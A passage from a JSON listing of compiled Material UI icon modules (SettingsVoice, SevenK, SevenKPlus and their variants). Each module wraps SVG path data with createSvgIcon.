3.46c.09.16.26.25.44.25.06 0 .12-.01.17-.03l2.49-1c.52.4 1.08.73 1.69.98l.38 2.65c.03.24.24.42.49.42h4c.25 0 .46-.18.49-.42l.38-2.65c.61-.25 1.17-.59 1.69-.98l2.49 1q.09.03.18.03c.17 0 .34-.09.43-.25l2-3.46c.12-.22.07-.49-.12-.64zm-1.98-1.71c.04.31.05.52.05.73s-.02.43-.05.73l-.14 1.13.89.7 1.08.84-.7 1.21-1.27-.51-1.04-.42-.9.68c-.43.32-.84.56-1.25.73l-1.06.43-.16 1.13-.2 1.35h-1.4l-.19-1.35-.16-1.13-1.06-.43c-.43-.18-.83-.41-1.23-.71l-.91-.7-1.06.43-1.27.51-.7-1.21 1.08-.84.89-.7-.14-1.13c-.03-.31-.05-.54-.05-.74s.02-.43.05-.73l.14-1.13-.89-.7-1.08-.84.7-1.21 1.27.51 1.04.42.9-.68c.43-.32.84-.56 1.25-.73l1.06-.43.16-1.13.2-1.35h1.39l.19 1.35.16 1.13 1.06.43c.43.18.83.41 1.23.71l.91.7 1.06-.43 1.27-.51.7 1.21-1.07.85-.89.7zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'SettingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.28 8.6-.7-1.21-1.27.51-1.06.43-.91-.7c-.39-.3-.8-.54-1.23-.71l-1.06-.43-.16-1.13L12.7 4h-1.4l-.19 1.35-.16 1.13-1.06.44c-.41.17-.82.41-1.25.73l-.9.68-1.05-.42-1.27-.52-.7 1.21 1.08.84.89.7-.14 1.13c-.03.3-.05.53-.05.73s.02.43.05.73l.14 1.13-.89.7-1.08.84.7 1.21 1.27-.51 1.06-.43.91.7c.39.3.8.54 1.23.71l1.06.43.16 1.13.19 1.36h1.39l.19-1.35.16-1.13 1.06-.43c.41-.17.82-.41 1.25-.73l.9-.68 1.04.42 1.27.51.7-1.21-1.08-.84-.89-.7.14-1.13c.04-.31.05-.52.05-.73s-.02-.43-.05-.73l-.14-1.13.89-.7zM12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.43 12.98c.04-.32.07-.64.07-.98s-.03-.66-.07-.98l2.11-1.65c.19-.15.24-.42.12-.64l-2-3.46c-.09-.16-.26-.25-.44-.25-.06 0-.12.01-.17.03l-2.49 1c-.52-.4-1.08-.73-1.69-.98l-.38-2.65C14.46 2.18 14.25 2 14 2h-4c-.25 0-.46.18-.49.42l-.38 2.65c-.61.25-1.17.59-1.69.98l-2.49-1q-.09-.03-.18-.03c-.17 0-.34.09-.43.25l-2 3.46c-.13.22-.07.49.12.64l2.11 1.65c-.04.32-.07.65-.07.98s.03.66.07.98l-2.11 1.65c-.19.15-.24.42-.12.64l2 3.46c.09.16.26.25.44.25.06 0 .12-.01.17-.03l2.49-1c.52.4 1.08.73 1.69.98l.38 2.65c.03.24.24.42.49.42h4c.25 0 .46-.18.49-.42l.38-2.65c.61-.25 1.17-.59 1.69-.98l2.49 1q.09.03.18.03c.17 0 .34-.09.43-.25l2-3.46c.12-.22.07-.49-.12-.64zm-1.98-1.71c.04.31.05.52.05.73s-.02.43-.05.73l-.14 1.13.89.7 1.08.84-.7 1.21-1.27-.51-1.04-.42-.9.68c-.43.32-.84.56-1.25.73l-1.06.43-.16 1.13-.2 1.35h-1.4l-.19-1.35-.16-1.13-1.06-.43c-.43-.18-.83-.41-1.23-.71l-.91-.7-1.06.43-1.27.51-.7-1.21 1.08-.84.89-.7-.14-1.13c-.03-.31-.05-.54-.05-.74s.02-.43.05-.73l.14-1.13-.89-.7-1.08-.84.7-1.21 1.27.51 1.04.42.9-.68c.43-.32.84-.56 1.25-.73l1.06-.43.16-1.13.2-1.35h1.39l.19 1.35.16 1.13 1.06.43c.43.18.83.41 1.23.71l.91.7 1.06-.43 1.27-.51.7 1.21-1.07.85-.89.7zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'SettingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoice.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 24h2v-2H7zm5-11c1.66 0 2.99-1.34 2.99-3L15 4c0-1.66-1.34-3-3-3S9 2.34 9 4v6c0 1.66 1.34 3 3 3m-1 11h2v-2h-2zm4 0h2v-2h-2zm4-14h-1.7c0 3-2.54 5.1-5.3 5.1S6.7 13 6.7 10H5c0 3.41 2.72 6.23 6 6.72V20h2v-3.28c3.28-.49 6-3.31 6-6.72\"\n}), 'SettingsVoice');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoice.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 24h2v-2H7zm5-11c1.66 0 2.99-1.34 2.99-3L15 4c0-1.66-1.34-3-3-3S9 2.34 9 4v6c0 1.66 1.34 3 3 3m-1 11h2v-2h-2zm4 0h2v-2h-2zm4-14h-1.7c0 3-2.54 5.1-5.3 5.1S6.7 13 6.7 10H5c0 3.41 2.72 6.23 6 6.72V20h2v-3.28c3.28-.49 6-3.31 6-6.72\"\n}), 'SettingsVoice');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoiceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 22h2v2H7zm5-9c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3S9 2.34 9 4v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .56-.44 1-1 1-.55 0-1-.45-1-1zm0 18h2v2h-2zm4 0h2v2h-2zm4-12h-1.7c0 3-2.54 5.1-5.3 5.1S6.7 13 6.7 10H5c0 3.41 2.72 6.23 6 6.72V20h2v-3.28c3.28-.49 6-3.31 6-6.72\"\n}), 'SettingsVoiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoiceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 22h2v2H7zm5-9c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3S9 2.34 9 4v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .56-.44 1-1 1-.55 0-1-.45-1-1zm0 18h2v2h-2zm4 0h2v2h-2zm4-12h-1.7c0 3-2.54 5.1-5.3 5.1S6.7 13 6.7 10H5c0 3.41 2.72 6.23 6 6.72V20h2v-3.28c3.28-.49 6-3.31 6-6.72\"\n}), 'SettingsVoiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoiceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M9 10V4c0-1.66 1.34-3 3-3s3 1.34 3 3v6c0 1.66-1.34 3-3 3s-3-1.34-3-3m8.91 0c.61 0 1.09.54 1 1.14-.49 3-2.89 5.34-5.91 5.78V19c0 .55-.45 1-1 1s-1-.45-1-1v-2.08c-3.02-.44-5.42-2.78-5.91-5.78-.1-.6.39-1.14 1-1.14.49 0 .9.36.98.85C7.48 13.21 9.53 15 12 15s4.52-1.79 4.93-4.15c.08-.49.49-.85.98-.85\"\n}), 'SettingsVoiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoiceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M9 10V4c0-1.66 1.34-3 3-3s3 1.34 3 3v6c0 1.66-1.34 3-3 3s-3-1.34-3-3m8.91 0c.61 0 1.09.54 1 1.14-.49 3-2.89 5.34-5.91 5.78V19c0 .55-.45 1-1 1s-1-.45-1-1v-2.08c-3.02-.44-5.42-2.78-5.91-5.78-.1-.6.39-1.14 1-1.14.49 0 .9.36.98.85C7.48 13.21 9.53 15 12 15s4.52-1.79 4.93-4.15c.08-.49.49-.85.98-.85\"\n}), 'SettingsVoiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoiceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 24h2v-2H7zm5-11c1.66 0 2.99-1.34 2.99-3L15 4c0-1.66-1.34-3-3-3S9 2.34 9 4v6c0 1.66 1.34 3 3 3m-1 11h2v-2h-2zm4 0h2v-2h-2zm4-14h-1.7c0 3-2.54 5.1-5.3 5.1S6.7 13 6.7 10H5c0 3.41 2.72 6.23 6 6.72V20h2v-3.28c3.28-.49 6-3.31 6-6.72\"\n}), 'SettingsVoiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoiceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 24h2v-2H7zm5-11c1.66 0 2.99-1.34 2.99-3L15 4c0-1.66-1.34-3-3-3S9 2.34 9 4v6c0 1.66 1.34 3 3 3m-1 11h2v-2h-2zm4 0h2v-2h-2zm4-14h-1.7c0 3-2.54 5.1-5.3 5.1S6.7 13 6.7 10H5c0 3.41 2.72 6.23 6 6.72V20h2v-3.28c3.28-.49 6-3.31 6-6.72\"\n}), 'SettingsVoiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoiceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c.56 0 .99-.44.99-1L13 4c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 22h2v2H7zm5-9c1.66 0 2.99-1.34 2.99-3L15 4c0-1.66-1.34-3-3-3S9 2.34 9 4v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .56-.44 1-1 1-.55 0-1-.45-1-1zm0 18h2v2h-2zm4 0h2v2h-2zm4-12h-1.7c0 3-2.54 5.1-5.3 5.1S6.7 13 6.7 10H5c0 3.41 2.72 6.23 6 6.72V20h2v-3.28c3.28-.49 6-3.31 6-6.72\"\n}, \"1\")], 'SettingsVoiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsVoiceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c.56 0 .99-.44.99-1L13 4c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 22h2v2H7zm5-9c1.66 0 2.99-1.34 2.99-3L15 4c0-1.66-1.34-3-3-3S9 2.34 9 4v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .56-.44 1-1 1-.55 0-1-.45-1-1zm0 18h2v2h-2zm4 0h2v2h-2zm4-12h-1.7c0 3-2.54 5.1-5.3 5.1S6.7 13 6.7 10H5c0 3.41 2.72 6.23 6 6.72V20h2v-3.28c3.28-.49 6-3.31 6-6.72\"\n}, \"1\")], 'SettingsVoiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenK.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.5 15H7.75l1.38-4.5H6.5V9H10c.67 0 1.15.65.96 1.29zm8.5 0h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'SevenK');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenK.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.5 15H7.75l1.38-4.5H6.5V9H10c.67 0 1.15.65.96 1.29zm8.5 0h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'SevenK');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.75 15H9.5l1.46-4.71C11.15 9.65 10.67 9 10 9H6.5v1.5h2.63zm6.75-2.25L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"1\")], 'SevenKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.75 15H9.5l1.46-4.71C11.15 9.65 10.67 9 10 9H6.5v1.5h2.63zm6.75-2.25L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"1\")], 'SevenKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 15H6.25l1.38-4.5H5V9h3.5c.67 0 1.15.65.96 1.29zm8 0h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'SevenKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 15H6.25l1.38-4.5H5V9h3.5c.67 0 1.15.65.96 1.29zm8 0h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'SevenKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.75 15H8.5l1.46-4.71C10.15 9.65 9.67 9 9 9H5.5v1.5h2.63zm5.75-2.25L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"1\")], 'SevenKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.75 15H8.5l1.46-4.71C10.15 9.65 9.67 9 9 9H5.5v1.5h2.63zm5.75-2.25L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"1\")], 'SevenKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.95 15h-.19c-.5 0-.86-.49-.72-.97l1.08-3.53H6.25c-.41 0-.75-.34-.75-.75S5.83 9 6.25 9H9c.67 0 1.15.65.96 1.29l-1.3 4.18c-.1.32-.39.53-.71.53m6.64 0c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12m3.91-2.5h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'SevenKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.95 15h-.19c-.5 0-.86-.49-.72-.97l1.08-3.53H6.25c-.41 0-.75-.34-.75-.75S5.83 9 6.25 9H9c.67 0 1.15.65.96 1.29l-1.3 4.18c-.1.32-.39.53-.71.53m6.64 0c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12m3.91-2.5h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'SevenKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM8.5 15H6.75l1.38-4.5H5.5V9h4.86zm7.5 0h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'SevenKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM8.5 15H6.75l1.38-4.5H5.5V9h4.86zm7.5 0h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'SevenKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zM5.5 9H9c.67 0 1.15.65.96 1.29L8.5 15H6.75l1.38-4.5H5.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.75 15H8.5l1.46-4.71C10.15 9.65 9.67 9 9 9H5.5v1.5h2.63zm5.75-2.25L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'SevenKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKPlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zM5.5 9H9c.67 0 1.15.65.96 1.29L8.5 15H6.75l1.38-4.5H5.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.75 15H8.5l1.46-4.71C10.15 9.65 9.67 9 9 9H5.5v1.5h2.63zm5.75-2.25L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'SevenKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevenKRounded.js",
